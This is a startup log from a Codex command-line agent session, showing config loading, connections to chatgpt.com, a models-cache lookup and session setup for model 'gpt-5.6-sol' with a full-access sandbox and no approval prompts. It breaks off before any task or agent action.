codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:13.553Z] [INFO] \n[2026-07-12T04:02:13.577Z] [INFO] 2026-07-12T04:02:13.576327Z  INFO codex_app_server::message_processor: <- typed notification: Initialized\n[2026-07-12T04:02:13.577Z] [INFO] \n[2026-07-12T04:02:13.584Z] [INFO] 2026-07-12T04:02:13.583830Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}: codex_config::loader::layer_io: /etc/codex/managed_config.toml not found\n[2026-07-12T04:02:13.584Z] [INFO] \n[2026-07-12T04:02:13.768Z] [INFO] 2026-07-12T04:02:13.767311Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:13.768Z] [INFO] \n[2026-07-12T04:02:13.786Z] [INFO] 2026-07-12T04:02:13.785389Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:13.786Z] [INFO] \n[2026-07-12T04:02:13.792Z] [INFO] 2026-07-12T04:02:13.786376Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:13.792Z] [INFO] \n[2026-07-12T04:02:13.797Z] [INFO] 2026-07-12T04:02:13.791641Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:13.797Z] [INFO] \n[2026-07-12T04:02:13.803Z] [INFO] 2026-07-12T04:02:13.803107Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:13.803Z] [INFO] \n[2026-07-12T04:02:13.832Z] [INFO] 2026-07-12T04:02:13.831937Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:13.832Z] [INFO] \n[2026-07-12T04:02:13.834Z] [INFO] 2026-07-12T04:02:13.833254Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:13.834Z] [INFO] 2026-07-12T04:02:13.833717Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:13.834Z] [INFO] \n[2026-07-12T04:02:13.840Z] [INFO] 2026-07-12T04:02:13.839723Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:13.840Z] [INFO] 2026-07-12T04:02:13.839827Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:13.840Z] [INFO] \n[2026-07-12T04:02:13.849Z] [INFO] 2026-07-12T04:02:13.848731Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:13.849Z] [INFO] \n[2026-07-12T04:02:13.853Z] [INFO] 2026-07-12T04:02:13.851271Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:13.853Z] [INFO] \n[2026-07-12T04:02:13.856Z] [INFO] 2026-07-12T04:02:13.853855Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}: codex_config::loader::layer_io: /etc/codex/managed_config.toml not found\n[2026-07-12T04:02:13.856Z] [INFO] \n[2026-07-12T04:02:13.857Z] [INFO] 2026-07-12T04:02:13.855155Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:13.857Z] [INFO] \n[2026-07-12T04:02:13.877Z] [INFO] 2026-07-12T04:02:13.876651Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:13.877Z] [INFO] \n[2026-07-12T04:02:13.883Z] [INFO] 2026-07-12T04:02:13.883012Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:13.883Z] [INFO] \n[2026-07-12T04:02:13.917Z] [INFO] 2026-07-12T04:02:13.917375Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}: codex_core::exec_policy: loaded rules from 0 files\n[2026-07-12T04:02:13.917Z] [INFO] \n[2026-07-12T04:02:13.921Z] [INFO] 2026-07-12T04:02:13.917555Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:13.921Z] [INFO] \n[2026-07-12T04:02:13.926Z] [INFO] 2026-07-12T04:02:13.923310Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:load: codex_core::exec_policy: loaded rules from 0 files\n[2026-07-12T04:02:13.926Z] [INFO] 2026-07-12T04:02:13.923525Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:list_models{refresh_strategy=online_if_uncached}: codex_models_manager::manager: models cache: evaluating cache eligibility client_version=\"0.144.1\"\n[2026-07-12T04:02:13.926Z] [INFO] 2026-07-12T04:02:13.923541Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:list_models{refresh_strategy=online_if_uncached}: codex_models_manager::cache: models cache: attempting load_fresh cache_path=/home/box/.codex/models_cache.json expected_version=\"0.144.1\"\n[2026-07-12T04:02:13.926Z] [INFO] \n[2026-07-12T04:02:13.928Z] [INFO] 2026-07-12T04:02:13.926287Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:list_models{refresh_strategy=online_if_uncached}: codex_models_manager::cache: models cache: loaded cache file cache_path=/home/box/.codex/models_cache.json cached_version=Some(\"0.144.1\") fetched_at=2026-07-12 04:02:11.395819137 UTC\n[2026-07-12T04:02:13.928Z] [INFO] 2026-07-12T04:02:13.926367Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:list_models{refresh_strategy=online_if_uncached}: codex_models_manager::cache: models cache: cache hit cache_path=/home/box/.codex/models_cache.json cache_ttl_secs=300\n[2026-07-12T04:02:13.928Z] [INFO] \n[2026-07-12T04:02:13.930Z] [INFO] 2026-07-12T04:02:13.927193Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:list_models{refresh_strategy=online_if_uncached}: codex_models_manager::manager: models cache: cache entry applied models_count=8 etag=Some(\"W/\\\"db2a6dc50b1d003969cdc236274e488a\\\"\")\n[2026-07-12T04:02:13.930Z] [INFO] \n[2026-07-12T04:02:13.932Z] [INFO] 2026-07-12T04:02:13.929115Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:list_models{refresh_strategy=online_if_uncached}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.remote_models.load_cache.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:13.932Z] [INFO] 2026-07-12T04:02:13.929159Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:list_models{refresh_strategy=online_if_uncached}: codex_models_manager::manager: models cache: using cached models for OnlineIfUncached\n[2026-07-12T04:02:13.932Z] [INFO] \n[2026-07-12T04:02:13.933Z] [INFO] 2026-07-12T04:02:13.930708Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init: codex_core::session::session: Configuring session: model=gpt-5.6-sol; provider=ModelProviderInfo { name: \"OpenAI\", base_url: None, env_key: None, env_key_instructions: None, experimental_bearer_token: None, auth: None, aws: None, wire_api: Responses, query_params: None, http_headers: Some({\"version\": \"0.144.1\"}), env_http_headers: Some({\"OpenAI-Project\": \"OPENAI_PROJECT\", \"OpenAI-Organization\": \"OPENAI_ORGANIZATION\"}), request_max_retries: None, stream_max_retries: None, stream_idle_timeout_ms: None, websocket_connect_timeout_ms: None, requires_openai_auth: true, supports_websockets: true }\n[2026-07-12T04:02:13.933Z] [INFO] \n[2026-07-12T04:02:13.946Z] [INFO] 2026-07-12T04:02:13.945411Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: cookie_store::cookie_store: inserting secure cookie '__cf_bm'\n[2026-07-12T04:02:13.946Z] [INFO] 2026-07-12T04:02:13.945629Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:13.946Z] [INFO] 2026-07-12T04:02:13.945681Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: codex_http_client::default_client: Request completed method=GET url=https://chatgpt.com/backend-api/codex/models?client_version=0.144.1 status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:13 GMT\", \"content-type\": \"application/json\", \"content-length\": \"274771\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"etag\": \"W/\\\"db2a6dc50b1d003969cdc236274e488a\\\"\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"e4f67537-c8f8-487c-a467-cc676647b938\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=1ZGU2iZMF3y1zqCmH%2F8z8uMP57PhYrUElmANYKW%2B4w0Dzos4mX9tqXNMNu9WDmhPPTxE0qh%2FrFUXaPuS%2Fl8EprNw52%2BMs4tPjQSuvs%2FDNam4HiZv5iCmHFZF3Vib\\\"}]}\", \"set-cookie\": \"__cf_bm=pl6OsR3G1zm6AQgYEt0PogKE5Nmaa.AMKq8rLigzCCs-1783828933.8384676-1.0.1.1-DVKeoRNRLQGWJ4TsYwK7ixOFt15p8vqX0YmPJdSx5YhmGEA5S3ozqNqYAixYVAEMB3KGJ.UDz3rTGRkvDyYCWAOlwYjeRkcafvKu3eGYKxvCtiOQ9Y_QHLKcAPfsCtjv; HttpOnly; SameSite=None; Secure; Path=/; Domain=chatgpt.com; Expires=Sun, 12 Jul 2026 04:32:13 GMT\", \"set-cookie\": \"__cflb=0H28vzvP5FJafnkHxiscCAnG4G7GWLMkmGiXsDbxixj; HttpOnly; SameSite=None; Secure; Path=/; Expires=Sun, 12 Jul 2026 05:02:13 GMT\", \"cf-ray\": \"a19d26b47f8a18ff-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:13.946Z] [INFO] \n[2026-07-12T04:02:13.951Z] [INFO] 2026-07-12T04:02:13.948538Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:13.951Z] [INFO] \n[2026-07-12T04:02:13.964Z] [INFO] 2026-07-12T04:02:13.964343Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:13.964Z] [INFO] \n[2026-07-12T04:02:13.971Z] [INFO] 2026-07-12T04:02:13.967010Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.thread.started\" cardinality_limit=2000\n[2026-07-12T04:02:13.971Z] [INFO] 2026-07-12T04:02:13.967154Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init: codex_otel.log_only: event.name=\"codex.conversation_starts\" provider_name=OpenAI auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false reasoning_effort=\"medium\" reasoning_summary=auto context_window=200000 auto_compact_token_limit=150000 approval_policy=never sandbox_policy=danger-full-access mcp_servers=\"playwright, codex_apps\" event.timestamp=2026-07-12T04:02:13.967Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:13.971Z] [INFO] 2026-07-12T04:02:13.967192Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init: codex_otel.trace_safe: event.name=\"codex.conversation_starts\" provider_name=OpenAI auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false reasoning_effort=\"medium\" reasoning_summary=auto context_window=200000 auto_compact_token_limit=150000 approval_policy=never sandbox_policy=danger-full-access mcp_server_count=2 event.timestamp=2026-07-12T04:02:13.967Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:13.971Z] [INFO] \n[2026-07-12T04:02:13.989Z] [INFO] 2026-07-12T04:02:13.987484Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:13.989Z] [INFO] 2026-07-12T04:02:13.987610Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cf_bm'\n[2026-07-12T04:02:13.989Z] [INFO] 2026-07-12T04:02:13.987652Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:13.989Z] [INFO] 2026-07-12T04:02:13.987682Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:13.989Z] [INFO] 2026-07-12T04:02:13.989042Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:13.989Z] [INFO] \n[2026-07-12T04:02:13.996Z] [INFO] 2026-07-12T04:02:13.990552Z  INFO list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: codex_otel.log_only: event.name=\"codex.api_request\" duration_ms=205 http.response.status_code=200 success=true attempt=0 endpoint=\"/models\" auth.header_attached=true auth.header_name=\"authorization\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.mode=\"Chatgpt\"\n[2026-07-12T04:02:13.996Z] [INFO] 2026-07-12T04:02:13.990618Z  INFO list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: codex_otel.trace_safe: event.name=\"codex.api_request\" duration_ms=205 http.response.status_code=200 success=true attempt=0 endpoint=\"/models\" auth.header_attached=true auth.header_name=\"authorization\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.mode=\"Chatgpt\"\n[2026-07-12T04:02:13.996Z] [INFO] \n[2026-07-12T04:02:14.002Z] [INFO] 2026-07-12T04:02:13.990646Z  INFO list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: feedback_tags: endpoint=\"/models\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:02:14.002Z] [INFO] \n[2026-07-12T04:02:14.004Z] [INFO] 2026-07-12T04:02:13.997417Z DEBUG list_models{refresh_strategy=online}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.remote_models.fetch_update.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:14.004Z] [INFO] \n[2026-07-12T04:02:14.017Z] [INFO] 2026-07-12T04:02:14.016873Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:14.017Z] [INFO] \n[2026-07-12T04:02:14.076Z] [INFO] 2026-07-12T04:02:14.075108Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:14.076Z] [INFO] 2026-07-12T04:02:14.075475Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.076Z] [INFO] 2026-07-12T04:02:14.075760Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.076Z] [INFO] \n[2026-07-12T04:02:14.079Z] [INFO] 2026-07-12T04:02:14.076760Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.079Z] [INFO] \n[2026-07-12T04:02:14.083Z] [INFO] 2026-07-12T04:02:14.079386Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.083Z] [INFO] \n[2026-07-12T04:02:14.086Z] [INFO] 2026-07-12T04:02:14.080390Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.086Z] [INFO] \n[2026-07-12T04:02:14.088Z] [INFO] 2026-07-12T04:02:14.082732Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.088Z] [INFO] \n[2026-07-12T04:02:14.105Z] [INFO] 2026-07-12T04:02:14.104925Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:14.105Z] [INFO] \n[2026-07-12T04:02:14.134Z] [INFO] 2026-07-12T04:02:14.134248Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:14.134Z] [INFO] \n[2026-07-12T04:02:14.161Z] [INFO] 2026-07-12T04:02:14.160478Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:14.161Z] [INFO] 2026-07-12T04:02:14.160624Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.161Z] [INFO] \n[2026-07-12T04:02:14.162Z] [INFO] 2026-07-12T04:02:14.160915Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.162Z] [INFO] \n[2026-07-12T04:02:14.164Z] [INFO] 2026-07-12T04:02:14.164128Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.164Z] [INFO] \n[2026-07-12T04:02:14.167Z] [INFO] 2026-07-12T04:02:14.164754Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.167Z] [INFO] \n[2026-07-12T04:02:14.169Z] [INFO] 2026-07-12T04:02:14.168326Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.169Z] [INFO] \n[2026-07-12T04:02:14.171Z] [INFO] 2026-07-12T04:02:14.169622Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.171Z] [INFO] \n[2026-07-12T04:02:14.189Z] [INFO] 2026-07-12T04:02:14.189008Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.189Z] [INFO] 2026-07-12T04:02:14.189092Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cf_bm'\n[2026-07-12T04:02:14.189Z] [INFO] 2026-07-12T04:02:14.189124Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:14.189Z] [INFO] 2026-07-12T04:02:14.189135Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.189Z] [INFO] \n[2026-07-12T04:02:14.212Z] [INFO] 2026-07-12T04:02:14.211638Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.startup.phase.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:14.212Z] [INFO] 2026-07-12T04:02:14.211722Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}: codex_otel.log_only: event.name=\"codex.startup_phase\" startup.phase=\"thread_start_create_thread\" startup.status=\"ready\" duration_ms=293 event.timestamp=2026-07-12T04:02:14.211Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:14.212Z] [INFO] 2026-07-12T04:02:14.211737Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}: codex_otel.trace_safe: event.name=\"codex.startup_phase\" startup.phase=\"thread_start_create_thread\" startup.status=\"ready\" duration_ms=293 event.timestamp=2026-07-12T04:02:14.211Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:14.212Z] [INFO] \n[2026-07-12T04:02:14.221Z] [INFO] 2026-07-12T04:02:14.220996Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:14.221Z] [INFO] \n[2026-07-12T04:02:14.240Z] [INFO] 2026-07-12T04:02:14.240017Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cf_bm'\n[2026-07-12T04:02:14.240Z] [INFO] \n[2026-07-12T04:02:14.242Z] [INFO] 2026-07-12T04:02:14.241144Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:14.242Z] [INFO] 2026-07-12T04:02:14.241203Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.242Z] [INFO] \n[2026-07-12T04:02:14.251Z] [INFO] 2026-07-12T04:02:14.246325Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.251Z] [INFO] \n[2026-07-12T04:02:14.286Z] [INFO] 2026-07-12T04:02:14.286027Z  INFO codex_otel.log_only: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_create_turn_context\" duration_ms=74 event.timestamp=2026-07-12T04:02:14.286Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:14.286Z] [INFO] \n[2026-07-12T04:02:14.291Z] [INFO] 2026-07-12T04:02:14.286749Z  INFO codex_otel.trace_safe: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_create_turn_context\" duration_ms=74 event.timestamp=2026-07-12T04:02:14.286Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec 